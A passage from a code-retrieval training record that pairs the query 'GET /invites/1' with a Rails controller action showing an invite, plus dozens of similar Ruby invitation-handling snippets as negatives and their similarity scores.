headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n subId = message[:data][0][:id]\n else\n # Port is open in our router\n params = { url: SUBSCRIPTION_URL, events: ['invitee.created', 'invitee.canceled'] }\n newRes = HTTParty.post URL, body: params, headers: HEADERS\n message = JSON.parse newRes.body, symbolize_names: true\n # TODO need error handling\n subId = message[:id]\n end\n end\n end", "def index\n @members = Member.members\n @participants = Member.participants\n @invited_count = Member.count\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @members }\n end\n end", "def index\n @friend_invites = FriendInvite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @friend_invites }\n end\n end", "def invitations()\n return MicrosoftGraph::Invitations::InvitationsRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def index\n\t\t@users = Invitation.pending_users(params[:page])\n\tend", "def index\n # first check if user is signed\n if !user_signed_in?\n render :status => 401, :json => {:success => false, :errors => [\"Unauthorized access\"] }\n elsif Invitee.where(:event_id => params[:event_id], :user_id => current_user.id).count <= 0\n # user hasn't been invited to this event, so don't allow them to see informatin about it\n render :status => 401, :json => {:success => false, :errors => [\"Not authorized to view this event\"] }\n else\n render :json => EventTimeUserChoice.joins(:event_time_option => :event)\n .where(:user_id => current_user.id, :events => {:id => params[:event_id]})\n .as_json\n end\n end", "def index\n @invitecodes = Invitecode.all\n end", "def index\n @invitaciones = Invitacione.all\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end", "def index\n invitations = Invitation.where('email = ? AND status = ?', @current_user.email, 'pending')\n invitations_array = []\n\n invitations.each do |inv|\n user = User.find(inv.from_user)\n user_hash = { :id => @current_user.id, :email => user.email, :first_name => user.user_info.first_name, :last_name => user.user_info.last_name }\n\n project = Project.find(inv.project_id)\n project_hash = { :id => project.id , :project_title => project.title, :project_profile => inv.project_profile_id }\n\n invitations_array << { :id => inv.id, :user => user_hash, :project => project_hash, :date => \"#{l inv.created_at, format: :long}\" }\n end\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { render json: invitations_array }\n end\n end", "def load_invitations\n @invitations ||= begin\n ids = resend_invitation_params\n ids ||= current_course.invitations.unconfirmed.select(:id)\n if ids.blank?\n []\n else\n current_course.invitations.unconfirmed.where('course_user_invitations.id IN (?)', ids)\n end\n end\n end", "def load_invitations\n @invitations ||= begin\n ids = resend_invitation_params\n ids ||= current_course.invitations.unconfirmed.select(:id)\n if ids.blank?\n []\n else\n current_course.invitations.unconfirmed.where('course_user_invitations.id IN (?)', ids)\n end\n end\n end", "def index\n @invitados = Invitado.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitados }\n end\n end", "def index\n @teams = current_user.teams\n\n @team_invitations = current_user.team_invitations_as_receiver\n end", "def pending_invites\n list = []\n pending_contacts.links(:class=>\"s3d-bold s3d-regular-light-links\", :title=>/View/).each { |link| list << link.text }\n return list\n end", "def total_invites\n since = Time.zone.now - params[:days].to_i.days\n count = GroupInvitation\n .where('created_at > ?', since)\n .count\n respond_with json_response('total_invites', count)\n end", "def find_invitations(opts = {})\n data, _status_code, _headers = find_invitations_with_http_info(opts)\n data\n end", "def index\n @investigations = Investigation.where(:visible => true)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @investigations }\n end\n end", "def index\n @inciting_incidents = IncitingIncident.all\n render json: @inciting_incidents\n end", "def find_invite\n @invite = Invite.find(params[:id])\n end", "def index\n @events = Event.where({ user_id: current_user.id }).order(created_at: :desc)\n @invitations = EventUser.where({ number: current_user.phone }).map { |invite| invite.event }\n \n end", "def index\n\n @emails = Email.all\n #redirect_to invites_path\n\n end" ]
[ "0.7959769", "0.7742536", "0.76677245", "0.76677245", "0.76677245", "0.76677245", "0.76677245", "0.76200795", "0.7490277", "0.7401339", "0.72609353", "0.7259135", "0.72381604", "0.7088142", "0.70818603", "0.7015903", "0.700781", "0.7004371", "0.69964284", "0.69862264", "0.68589884", "0.6813902", "0.6806257", "0.6756857", "0.6746963", "0.67205703", "0.6679445", "0.66752577", "0.6657125", "0.6657125", "0.6657125", "0.66470003", "0.66470003", "0.66416657", "0.66275895", "0.6601714", "0.6601714", "0.6601714", "0.6601714", "0.6592756", "0.6581124", "0.6560491", "0.6551222", "0.64720106", "0.64407474", "0.6438179", "0.64199245", "0.6418885", "0.63994724", "0.63807595", "0.6366112", "0.63523465", "0.6348669", "0.6344142", "0.6299388", "0.62961364", "0.6296053", "0.6275466", "0.62623376", "0.62563664", "0.6228046", "0.6219141", "0.6188908", "0.61794585", "0.61384934", "0.6136197", "0.609538", "0.6077624", "0.60776156", "0.60680515", "0.6048092", "0.6039582", "0.6024127", "0.59622127", "0.5943607", "0.594162", "0.5941545", "0.59332657", "0.5919882", "0.59167683", "0.59136665", "0.5907778", "0.5902455", "0.5892935", "0.5886336", "0.5883177", "0.58820266", "0.58820266", "0.58781475", "0.58721167", "0.5845627", "0.58437467", "0.5836157", "0.5826278", "0.5817926", "0.5812125", "0.58083135", "0.58004737" ]
0.79404175
2
GET /invites/1 GET /invites/1.json
def show @invite = Invite.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @invite } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end", "def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end", "def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end", "def show\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index_invites\n puts \"user: #{@current_user.json_hash[:id]}\"\n dinners = []\n @dinners = @current_user.invited_dinners\n @dinners.each do |dinner|\n dinners << dinner.all_info\n end\n render json: dinners\n end", "def index\n @invites = current_user.invites\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n session[:new_invite_error] = nil\n session[:new_invite_error_url] = nil\n end", "def invites\n raise 'Tried to request invites from a non-server channel' unless server\n\n invites = JSON.parse(API::Channel.invites(@bot.token, @id))\n invites.map { |invite_data| Invite.new(invite_data, @bot) }\n end", "def received_invitations\n user = User.find(params[:user_id])\n @invitations = user.invitations\n\n render json: @invitations\n end", "def index\n if params[:story_id].present?\n @invitations = Story.find(params[:story_id]).invitations\n else\n @invitations = Invitation.find_by_email(@current_user.email)\n end\n render json: @invitations\n end", "def show\n @invite_list = InviteList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite_list }\n end\n end", "def index\n @inviteds = Invited.all\n end", "def index\n\t\t@guild_invites = @guild.invites.order(\"id DESC\")\n\tend", "def show\n @invite_status = InviteStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite_status }\n end\n end", "def dogwalker_invited\n #@invitations = Invitation.invited_clients_email(params[:email]).select(:email)\n @invitations = Invitation.invitees(params[:email]).select(:email)\n logger.debug(\"@invitations.to_json = \" + @invitations.to_json)\n render json: {:invitations => @invitations }, :layout => false\n end", "def view_invitations\n @invitations = Invitation.all(:conditions => ['status = ?', 'pending'])\n end", "def index\n @invitations = Invitation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invitations }\n end\n end", "def invitations\n @invitations = Invitation.pending_by_user(current_user.id)\n\n respond_to do |format|\n format.html\n end\n end", "def index\n @invitations = Invitation.all\n\n render json: @invitations, except: [:created_at, :updated_at], \n include: [:event => {include: [:host => {except: [:password_digest, :created_at, :updated_at]}]}]\n end", "def index\n @invites = Invite.find(:all, :conditions => \"to_user_id = #{current_user.id} or to_email = '#{current_user.email}'\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invites }\n end\n end", "def invite_detail\n service_response = AdminManagement::AdminUser::GetInviteDetail.new(params).perform\n render_api_response(service_response)\n end", "def show\n user = User.find_by(id: params[:id]) #should use session id\n if user\n invitations = user.invitations\n if invitations\n render json: invitations, status: :ok\n else\n head :no_content\n end\n else\n render json: {error: \"User not found\"}, status: :not_found\n end\n end", "def show\n @invite = @event.invites.find(params[:id])\n end", "def invitations\n\t\t@invits = current_user.receive_invites.order(\"id DESC\")\n\tend", "def index\n @title = 'Invitations'\n @invitations = Invitation.all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @invitations }\n end\n end", "def show\n @invitee = Invitee.find(params[:id])\n\n respond_to do |format|\n format.html { redirect_to invitees_url }\n format.json { render json: @invitee }\n end\n end", "def index\n @invitees = Invitee.all\n end", "def index\n @invitees = Invitee.all\n end", "def index\n @list_invites = ListInvite.all\n end", "def index\n @invitations = Invitation.all\n end", "def index\n @invitations = Invitation.all\n end", "def index\n @invitations = Invitation.all\n end", "def index\n @invitations = Invitation.all\n respond_with(@invitations)\n end", "def index\n # @invitations = Invitation.all\n end", "def invites(auth, server_id)\n MijDiscord::Core::API.request(\n :guilds_sid_invites,\n server_id,\n :get,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/invites\",\n Authorization: auth\n )\n end", "def get_mission_invites\n\t#get all missions of user with invitaion_status = pending\n user = User.exists? (params[:user_id])\n\tif user\n\t\tmissions = user.missions.references( :user_missions).select('missions.id, missions.title, user_missions.invitation_time').where( user_missions:{ invitation_status: PENDING_MESA_INVITATION})\n\t\trespond_to do |format|\n\t\t format.json {render :json=> {:mesa_invites=> missions, :status => true} }\n\t\tend\n else\n\t respond_to do |format|\n\t\t format.json {render :json=> {:error=>'No user exists with id' , :status => false} }\n\t end\n\tend\n end", "def invited_users\n render json: @moot.list_users_can_vote\n end", "def invitestatuslist\n @inviteStatus = InviteStatus.find :all\n render :layout => 'plain'\n end", "def invites\n user = current_user\n\n # Query to get only not yet accepted trips associated wiht the current user\n @trips = Trip.joins(:user_trips).where(user_trips: { accepted: false }).where(user_trips: { user_id: user.id })\n render json: @trips\n end", "def group_invites\n @invites = GroupsController.group_invites current_user\n end", "def index\n @invite_requests = InviteRequest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invite_requests }\n end\n end", "def index\n @team_invites = TeamInvite.where(team: current_team)\n end", "def sent_invitations\n user = User.find(params[:user_id])\n @invitations = Invitation.created_by_user(user)\n\n render json: @invitations\n end", "def show\n @maintain_invite_user = Maintain::InviteUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @maintain_invite_user }\n end\n end", "def index\n # TODO pull out api key before pushing to github & pull out binding prys\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n subId = message[:data][0][:id]\n else\n # Port is open in our router\n params = { url: SUBSCRIPTION_URL, events: ['invitee.created', 'invitee.canceled'] }\n newRes = HTTParty.post URL, body: params, headers: HEADERS\n message = JSON.parse newRes.body, symbolize_names: true\n # TODO need error handling\n subId = message[:id]\n end\n end\n end", "def find_invite\n @invite = Invite.find(params[:id])\n end", "def index\n @invts = Invt.all\n end", "def invitations\n res = []\n\n tmp = GoodData.get @json['project']['links']['invitations']\n tmp['invitations'].each do |invitation|\n res << GoodData::Invitation.new(invitation)\n end\n\n res\n end", "def new_invites\n self.invites.all(:hide => false)\n end", "def index\n @user = User.find(params[:user_id]) \n @invitations = @user.invitations\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @invitations.to_xml }\n end\nend", "def index\n @invitations = @event.invitations.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitations }\n end\n end", "def index\n @invites = current_user.invites.where(is_declined: nil).all\n end", "def index\n @team = Team.find_by_id(params[:team_id])\n @invite_requests = @team.invite_requests\n end", "def index\n @invitations = Invitation.where(organization_id: current_user.organization_id).all\n end", "def index\n @invitations = Invitation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitations }\n end\n end", "def invite\n @obj['invite']\n end", "def invite\n @data['invite']\n end", "def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invitation }\n end\n end", "def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invitation }\n end\n end", "def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invitation }\n end\n end", "def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invitation }\n end\n end", "def invitestatuslist\n @inviteStatus = InviteStatus.all\n render :layout => 'plain'\n end", "def index\n @invitations = Invitation.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @invitations.to_xml }\n end\n end", "def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @invitation }\n end\n end", "def new\n @invite = Invite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite }\n end\n end", "def new\n @invite = Invite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite }\n end\n end", "def new\n @invite = Invite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite }\n end\n end", "def index\n # LE TEMPS DE ...\n if self.admin?\n @invites = Invite.all\n elsif self.check_user && self.check_no_guild\n @invites = Invite.where(:user_id => session[:user_id])\n elsif self.check_user && self.check_is_guild_owner\n @invites = Invite.where(:guild_id => @guild[:id])\n end\n end", "def show\n @invite_request = InviteRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @invite_request }\n end\n end", "def show\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invitation }\n end\n end", "def index\n @invitations = Invitation.where(receiver_id: current_user.id)\n end", "def index\n @invs = Inv.all\n end", "def new\n @invite_list = InviteList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite_list }\n end\n end", "def invite\n @invite = Invite.new\n @invite.invited_id = params[:invited_id]\n @invite.dinner_id = params[:id]\n if @invite.valid?\n @invite.save\n render json: @invite\n else\n puts @invite.errors.messages.inspect\n render status: :bad_request, json: {\n errors: @invite.errors.messages\n }\n end\n end", "def index\n @invoices = @user.invoices.all\n render json: @invoices, status: :ok\n end", "def index\n @invstatuses = Invstatus.all\n end", "def index\n if params[:admin] == \"1\"\n @invites = Invite.all\n else\n render file: \"#{Rails.root}/public/403.html\", status: 403, layout: false\n end\n end", "def index\n @invites = current_user.recieved_team_requests\n @sent = current_user.sent_team_requests\n end", "def show\n render json: @invitation\n end", "def show\n #@trips = Trip.find params[:user_id]\n @user = User.find(params[:id])\n @invitations = Invitation.where(email: session[:user_email])\n @num_of_invites = @invitations.length\n end", "def edit\n @invite = Invite.find(params[:id])\n end", "def new\n @invite_status = InviteStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite_status }\n end\n end", "def index\n @user_invitations = UserInvitation.all\n end", "def index\n invitations = Invitation.where('email = ? AND status = ?', @current_user.email, 'pending')\n invitations_array = []\n\n invitations.each do |inv|\n user = User.find(inv.from_user)\n user_hash = { :id => @current_user.id, :email => user.email, :first_name => user.user_info.first_name, :last_name => user.user_info.last_name }\n\n project = Project.find(inv.project_id)\n project_hash = { :id => project.id , :project_title => project.title, :project_profile => inv.project_profile_id }\n\n invitations_array << { :id => inv.id, :user => user_hash, :project => project_hash, :date => \"#{l inv.created_at, format: :long}\" }\n end\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { render json: invitations_array }\n end\n end", "def index\n @invitaciones = Invitacione.all\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end", "def set_invited\n @invited = Invited.find(params[:id])\n end", "def show\n @linked_in_invitation = LinkedInInvitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @linked_in_invitation }\n end\n end", "def show\n\t\tif current_invite.nil?\n\t\t\tinvite = Invite.where(:id => params[:id], :secret => params[:secret]).where('expires > ?', Time.now).first\n\t\t\tif invite.present?\n\t\t\t\tsession[:invite_id] = invite.id\n\t\t\tend\n\t\tend\n\tend", "def show\n @inbox = Inbox.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inbox }\n end\n end", "def index\n @friend_invites = FriendInvite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @friend_invites }\n end\n end", "def get_user_invitations(filter: {}, includes: nil, limit: nil, sort: nil)\n params = users_request_client.build_params(filter: filter, includes: includes, limit: limit, sort: sort)\n users_request_client.get(\"userInvitations\", params)\n end", "def index\n @invitados = Invitado.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitados }\n end\n end", "def show\n if params[:ids]\n ids = params[:ids].split(\",\")\n @invitation = Invitation.find_by_permalink(ids[0]) \n else\n @invitation = Invitation.find_by_permalink(params[:id]) \n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @invitation }\n end\n end" ]
[ "0.7688263", "0.7688263", "0.7688263", "0.74287134", "0.73801136", "0.73801136", "0.73801136", "0.73801136", "0.73801136", "0.7367896", "0.7329601", "0.70713496", "0.7045998", "0.699091", "0.69735", "0.695193", "0.6947367", "0.69188094", "0.6821972", "0.674742", "0.6738955", "0.673815", "0.67157745", "0.66967696", "0.6694719", "0.66926855", "0.66702056", "0.6638442", "0.6615245", "0.65606195", "0.6550315", "0.6550315", "0.6520919", "0.6509887", "0.6509887", "0.6509887", "0.65041715", "0.64590573", "0.64397377", "0.64019614", "0.6391752", "0.63846797", "0.6379426", "0.6356056", "0.63446313", "0.634039", "0.6336375", "0.6319267", "0.6315724", "0.6306563", "0.62950087", "0.6294987", "0.6293407", "0.62931705", "0.6283002", "0.6271622", "0.6257223", "0.62480515", "0.6243049", "0.6241002", "0.62121207", "0.61851966", "0.61851966", "0.61851966", "0.61851966", "0.6174741", "0.6169305", "0.6156601", "0.61212194", "0.61212194", "0.61212194", "0.6117923", "0.61075497", "0.6091854", "0.60574204", "0.6047542", "0.60360175", "0.60264313", "0.6018515", "0.6018387", "0.59763724", "0.5962994", "0.59578055", "0.59526634", "0.59365594", "0.59219015", "0.59156173", "0.58949715", "0.58808285", "0.58704674", "0.5858418", "0.5854822", "0.5817461", "0.58144516", "0.581419", "0.5814155", "0.58074784" ]
0.7069864
13
GET /invites/new GET /invites/new.json
def new @invite = Invite.new respond_to do |format| format.html # new.html.erb format.json { render json: @invite } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @invite_list = InviteList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite_list }\n end\n end", "def new\n @invite_status = InviteStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite_status }\n end\n end", "def new\n @invite = Invite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invite }\n end\n end", "def new\n @title = 'New Invitation'\n @invitation = Invitation.new\n\n respond_to do |format|\n format.html # new.html.haml\n format.json { render json: @invitation }\n end\n end", "def new\n @invite_request = InviteRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invite_request }\n end\n end", "def new\n @invitation = Invitation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invitation }\n end\n end", "def new\n @invitation = Invitation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invitation }\n end\n end", "def new_invites\n self.invites.all(:hide => false)\n end", "def new\n @invitee = Invitee.new\n @age = Age.all\n @gender = Gender.all\n @status = Status.all\n @couple = Couple.all\n\t\t@hosts = InviteeHost.all\n @inviteegroup = InviteeGroup.where(:user_account_id => current_user.user_account.id)\n\n respond_to do |format|\n format.html { render :layout=> false } # new.html.erb\n format.json { render json: @invitee }\n\t\t\tformat.js\n end\n end", "def new\n @maintain_invite_user = Maintain::InviteUser.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @maintain_invite_user }\n end\n end", "def new\n @invitation = Invitation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invitation }\n end\n end", "def new_from_invite_data\n new\n render :new\n end", "def new\n @invitation = Invitation.new(event: Event.find(params[:event_id]), user: User.new)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invitation }\n end\n end", "def create\n @invited = Invited.new(invited_params)\n\n respond_to do |format|\n if @invited.save\n format.html { redirect_to @invited, notice: 'Invited was successfully created.' }\n format.json { render :show, status: :created, location: @invited }\n else\n format.html { render :new }\n format.json { render json: @invited.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @invitee = Invitee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invitee }\n end\n end", "def new\n @activite = Activite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activite }\n end\n end", "def new\n @inbox = Inbox.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inbox }\n end\n end", "def create\n @invite = @event.invites.new(invite_params)\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to [@event, @invite], notice: 'Invite was successfully created.' }\n format.json { render action: 'show', status: :created, location: [@event, @invite] }\n else\n format.html { render action: 'new' }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @invite = Invite.new(params[:invite])\n @invite.user_id = current_user.id\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render json: @invite, status: :created, location: @invite }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @invoice = Invoice.new\n @counter = InvoiceNumbers.first\n @items = Item.find_all_by_invoice_id(@invoice.invoice_id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "def create\n @invite = Invite.new(invite_params)\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render action: 'show', status: :created, location: @invite }\n else\n format.html { render action: 'new' }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n return if auth(\"website_administrator\")\n @incident = Incident.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @incident }\n end\n end", "def new\n @invitee = Invitee.new\n end", "def new\n @inbox = Inbox.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inbox }\n end\n end", "def new\n @inv_type = InvType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @inv_type }\n end\n end", "def create\n @invite = Invite.new(invite_params)\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render :show, status: :created, location: @invite }\n else\n format.html { render :new }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @gift = Gift.new\n\t@invitations = current_host.invitations\n\t@invite_hash = {}\n @invitations.each do |i| \n\t\t@invite_hash[\"#{i.party.name} | #{i.guest.name}\"] = i.id\n\tend\n end", "def new\n @incident = Incident.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @incident }\n end\n end", "def new\n @users = User.find(:all)\n @invoice = Invoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice }\n end\n end", "def new\n @invitation = Invitation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invitation }\n end\n end", "def new\n @invitation = Invitation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invitation }\n end\n end", "def new\n @linked_in_invitation = LinkedInInvitation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @linked_in_invitation }\n end\n end", "def create\n @invite = Invite.new(params[:invite])\n @user = current_user\n @user.invites << @invite\n @candidate = current_user.candidate\n @invites = Invite.scoped\n respond_to do |format|\n if @user.save\n InviteMailer.invite_friend(@invite, @user).deliver\n format.html { redirect_to new_invite_path, notice: \"Invitation was successfully sent to #{@invite.name} &lt;#{@invite.email}&gt;\" }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @enterprise = Enterprise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @enterprise }\n end\n end", "def index\n @invites = current_user.invites\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n session[:new_invite_error] = nil\n session[:new_invite_error_url] = nil\n end", "def new_invite\n if idea_posting.users.exists?(current_user.id)\n @joinrequest = Joinrequest.new\n respond_to do |format|\n format.html \n format.json {redirect_to @joinrequest}\n end\n end\n end", "def create\n @inv = Inv.new(inv_params)\n\n respond_to do |format|\n if @inv.save\n format.html { redirect_to @inv, notice: 'Inv was successfully created.' }\n format.json { render :show, status: :created, location: @inv }\n else\n format.html { render :new }\n format.json { render json: @inv.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @email = @user.emails.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @email }\n end\n end", "def new\n @invoice_status = InvoiceStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice_status }\n end\n end", "def new\n @invitation = Invitation.new\n respond_with(@invitation)\n end", "def create\n @invite = Invite.new(params[:invite])\n\n respond_to do |format|\n if @invite.save\n flash[:notice] = 'Invite was successfully created.'\n format.html { redirect_to(@invite) }\n format.xml { render :xml => @invite, :status => :created, :location => @invite }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @invite.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n\t\t@guild_invite = GuildInvitMember.new(guild_invite_params)\n\t\t@guild_invite.guild = @guild\n\t\t@guild_invite.by = current_user\n\t\t@guild_invite.state = \"waiting\"\n\n\t\trespond_to do |format|\n\t\t\tif @guild_invite.save\n\t\t\t\tback_page = guild_invites_url\n\t\t\t\tback_page = URI(request.referer).path if params[:back]\n\t\t\t\tformat.html { redirect_to back_page, notice: 'Invite was successfully created.' }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @guild_invite.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def new\n @outgoing = Outgoing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @outgoing }\n end\n end", "def new\n @invitado = Invitado.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invitado }\n end\n end", "def create\n if params[:invite]\n @invite = Invite.new(invite_params)\n elsif params[:user_id]\n @invite = Invite.new(:user_id => params[:user_id], :request_id => params[:request_id], :to_id => params[:to_id] )\n end\n @invite.state = 'sent' if @invite.state.blank?\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render json: @invite, status: :created, location: @invite }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n # @invoice = Invoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "def new\n @ip = @customer.ips.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ip }\n end\n end", "def new\n @interest = Interest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interest }\n end\n end", "def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end", "def new\n @inventory_entry = InventoryEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inventory_entry }\n end\n end", "def new\n @interest = Interest.new\n\n respond_to do |format|\n format.json { render json: @interest }\n end\n end", "def new\n @invoice = Invoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @invoice }\n end\n end", "def new\n @intern = Intern.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @intern }\n end\n end", "def new\n @interest = Interest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @interest }\n end\n end", "def new\n @notify = Notify.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @notify }\n end\n end", "def new\n @inventory_status = InventoryStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inventory_status }\n end\n end", "def new\n @internship = Internship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @internship }\n end\n end", "def new\n @internship = Internship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @internship }\n end\n end", "def new\n add_breadcrumb :new\n @visit = Visit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @visit }\n end\n end", "def new\n @identity_table = IdentityTable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @identity_table }\n end\n end", "def new\n @breadcrumb = 'create'\n @invoice_type = InvoiceType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice_type }\n end\n end", "def new\n @recent_activity = RecentActivity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recent_activity }\n end\n end", "def new\n InvitationMailer.request_invitation(@league, current_user, _invitation_params[:email], _invitation_params[:message]).deliver\n render json: { message: { type: SUCCESS, content: \"An invite request for #{_invitation_params[:email]} has been sent to the commish\" } }, status: :ok\n end", "def new\n @inv_x_ref = InvXRef.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inv_x_ref }\n end\n 